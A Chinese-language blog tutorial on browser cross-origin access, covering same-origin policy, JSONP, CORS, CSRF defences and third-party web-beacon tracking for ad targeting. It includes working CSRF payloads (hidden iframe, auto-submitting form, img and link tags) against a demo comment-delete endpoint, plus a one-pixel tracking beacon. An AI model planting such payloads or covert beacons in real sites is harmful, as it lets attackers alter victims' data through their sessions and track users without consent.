本人工做中偶爾會和瀏覽器打交道,也遇到過一些坑,在此分享一下網頁跨域訪問的相關場景和知識,但願對讀者有幫助。
本文來自於個人博客網站:www.51think.netjavascript
凡是與主站地址的域名、端口、協議不一致的其餘請求,均可以認爲是跨域訪問。例如某網站的主站地址是https://www.abc.com,但網頁又...(地址是https://img.abc.com),這就是一種跨域訪問。html
所謂的同源策略是瀏覽器所遵循的一種安全約定。其限制了來自不一樣源的document或者腳本對當前的document讀取或設置某些屬性。具體限制以下:
跨源網絡訪問:AJAX請求。
跨源 DOM 訪問:DOM。
跨源腳本API訪問: iframe.contentWindow, window.parent, window.open 和 window.opener前端
若是沒有這些限制,那咱們就能夠肆無忌憚的破壞其餘網站的網頁了。
跨域訪問不是跨域攻擊,業務上咱們的確有跨域訪問的須要。
#### 一、經過標籤的src或者href屬性。
例如< script >、< img >、< iframe >、< link >,訪問靜態資源文件雖然是跨域,但不受同源策略限制,由於使用的是標籤訪問。src屬性訪問的地址是一次性的get訪問,且是主站主動設置,相對安全。java
form表單提交到其餘域也是被容許的。由於form提交意味着跳轉到新的站點,是一個有去無回的頁面跳轉,不存在對原站點的腳本操做。ajax
這通常是跨域訪問的經常使用手段,jsonp能夠幫助咱們從另外一方站點獲取數據,並做用於本地站點的頁面。這是本地站點開發人員的主動行爲。jsonp跨域使用的是script標籤的跨域功能,經過src屬性訪問第三方系統並獲取返回數組做用於本地函數中。假設在ablog.com的頁面中訪問bblog.com的服務,能夠在頁面中寫入以下代碼,callback參數定義是回調函數:數據庫
< script src="http://bblog.com:8083/remote?callback=jsonhandle"></script> <script type="text/javascript"> function jsonhandle(data){ alert("age:" + data.age + "name:" + data.name); } </script>
bblog.com的服務端代碼以下,須要按照回調函數名+(json數據)的格式返回:json
@GetMapping("/remote") @ResponseBody public String remote(HttpServletRequest request, Model model) { String callback=request.getParameter("callback"); String jsonpStr = callback + "(" + "{\"age\" : 15,\"name\": \"jack\",}"+ ")"; return jsonpStr; }
CORS 須要瀏覽器和服務器同時支持。目前,全部瀏覽器都支持該功能,IE 瀏覽器不能低於 IE10。後端
跨域攻擊能夠理解爲:誘導受害者訪問非法網站,黑客利用受害者的會話信息模擬請求,以達到篡改數據的目的。由此看來,跨域攻擊有幾個先決條件:跨域
第一點的頁面入口很是重要,如何在目標網站(地址:http://ablog.com:8080)植入攻擊者的代碼?假設目標網站有評論功能,攻擊者能夠將本身的代碼輸入到評論區,若是目標網站沒有XSS防護,則會將攻擊者的代碼以html的方式顯示在網頁上,這也就完成了第一點,提供了攻擊入口。例如攻擊者能夠在評論區輸入如下內容:數組
<a href="http://ablog.com:8080/admin/comments/delete?coid=39" >java速成,點我免費領取</a>
或者以下內容:
<img src=''http://ablog.com:8080/admin/comments/delete?coid=39「></img>
以上兩個標籤都會請求當前服務器,從而進行刪除操做。咱們也發現到這兩個請求都是get請求,若是服務端拒絕接受get請求,只接受post請求,是否是就沒招了?畢竟標籤裏無法模擬post提交。可是攻擊者能夠模擬表單,代碼以下:
<form action="http://ablog.com:8080/admin/comments/delete" method="post"> <input type="hidden" name="coid" value="39" /> <input type="submit" name="button" value="java速成,點我免費領取" /> </form>
將這段代碼輸入到評論區並顯示,依然能夠誘導受害者點擊,完成post請求。攻擊者也能夠將更復雜的邏輯封裝在本身搭建的網站中,假設黑客網站地址是http://bblog.com:8083,攻擊者將參數傳遞給本身的服務器,實現跨域攻擊,在目標網站ablog.com的評論區中留下以下代碼:
<a href="http://bblog.com:8083/admin/comments/delete?coid=39" >java速成,點我免費領取</a> 在黑客網站bblog.com裏模擬post請求到ablog.com: <form action="http://ablog.com:8080/admin/comments/delete" method="post"> <input type="hidden" name="coid" value="39" /> <input type="submit" name="button" value="java速成,點我免費領取" /> </form>
因爲受害者在ablog.com中的會話仍然保持,這個模擬請求會帶上受害者的會話信息,進行刪除操做,而對於服務器端來講是無感的。在bblog.com裏模擬post請求到ablog.com,爲什麼沒有被跨域攔截?上文有提到過,form表單提交是沒有跨域限制的,這爲跨域攻擊也提供了便利。
上述攻擊方式還不算隱蔽,畢竟須要受害者點擊觸發按鈕,還須要頁面跳轉,太low。咱們可使用一個影藏的iframe完成攻擊,使得攻擊操做神不知鬼不覺。在網站ablog.com評論區中植入以下代碼: <iframe style="display:none;" src="http://bblog.com:8083/csrf?coid=41"></iframe> form模擬提交的部分依然放在bblog.com中,使用腳本自動執行。部分代碼以下: <script> function dianwoSub() { document.getElementById("dianwoForm").submit(); } </script> <body onload="dianwoSub()"> <div class="container"> <form action="http://ablog.com:8080/admin/comments/delete" method="post" id="dianwoForm"> <input type="hidden" name="coid" value="${coid}" /> <input type="submit" name="button" value="點我" /> </form> </div> </body>
在bblog.com中若是使用ajax來模擬請求攻擊ablog.com會被瀏覽器攔截,ajax腳本以下:
function dianwoSub() { $.ajax({ type: 'post', url: 'http://ablog.com:8080/admin/comments/delete', data: $('#dianwoForm').serialize(), async: false, dataType: 'json', success: function (result) { alert(" delete ok"); } }); }
運行時,瀏覽器會報以下錯誤,即ablog和blog非同源,跨域訪問被限制:
用戶的任何輸入必需要通過後臺的校驗,若是出現非法字符必定要攔截,將代碼植入入口堵死。
get提交會下降攻擊門檻。
網站系統在接受請求時,判斷請求來源是不是可信任的,若是是非法的則須要攔截。
在作增刪改操做時,強行讓用戶再次與後臺交互,這能很大程度上避免攻擊,可是影響用戶體驗。
用戶在訪問某一網頁時,後端生成一個隨機加密字符串放到session中,用戶再次請求時攜帶此token,後端對比token是否正確,不正確則攔截請求。
網絡信標又名網絡臭蟲,經過植入第三方代碼來收集訪問者信息。例如在ablog.com網站中植入以下代碼:
<img src="http://bblog.com:8083/netflag" height="1" width="1" ></img>
大小僅爲一個像素,用戶很難發現。凡是打開植入此代碼的網頁,都會訪問bblog.com,bblog.com後臺可以收集到以下信息:
經過以上信息,咱們能夠給用戶設置一個惟一標記,並寫入到cookie中,例如bloguser=user_127.0.0.11540367865328。後端同時將此標記以及對應信息保存到數據庫中,這樣能夠跟蹤某一特定用戶的訪問路徑。假設一個集團公司的業務範圍很是廣,其信息化系統包含多個二級域名,好比註冊頁面是login.blog.com,充值頁面是deposit.xyz.com,購物頁面是shopping.abc.com等,這些域名的cookie是沒法共享的,這時候能夠採起網絡信標的方式,在全部主頁上均植入上述代碼,經過第三方cookie的方式,將訪問者信息所有串聯起來。 網絡信標的另一種使用場景是廣告推薦。百度的廣告聯盟就是很好的例子。咱們在百度上搜索一些關鍵字以後,訪問其餘網站時(例如CSDN)會發現,爲什麼我剛剛搜索的關鍵字圖片會在CSDN網頁上顯示?那CSDN頗有可能放置了百度的腳本代碼。用戶在百度上進行搜索以後,百度將搜索關鍵字寫入到用戶的cookie信息中,CSDN內置了百度的廣告代碼,這個代碼會訪問百度服務器,同時會帶上百度以前設置的cookie,百度後臺根據關鍵字來響應相關圖片或者文字連接,達到精準投放廣告的效果。 如今咱們來模擬一下百度廣告聯盟的效果。假設bblog.com就是百度系統,咱們模擬一個搜索頁面,並搜索關鍵字「手機」: ![](http://51think.net/upload/2018/11/253mn0n9e6ic4oesipd8gmqcqv.jpg)
bblog.com的後端將手機寫入到cookie,key爲sosuoPara:
setCookie(response,"sosuoPara",sosuoPara,60*60); bblog.com的合做網站ablog.com內置了bblog.com廣告代碼: <div class="card mb-3"> <div class="card-header"> 廣告頁 </div> <div class="card-body"> <iframe src="http://bblog.com:8083/guanggao"></iframe> </div> </div>
這段廣告代碼的後端邏輯是取出cookie信息,獲得搜索關鍵字,後端進行匹配處理,返回給前端廣告。這時候咱們看一下ablog.com的主頁廣告,見以下紅框位置: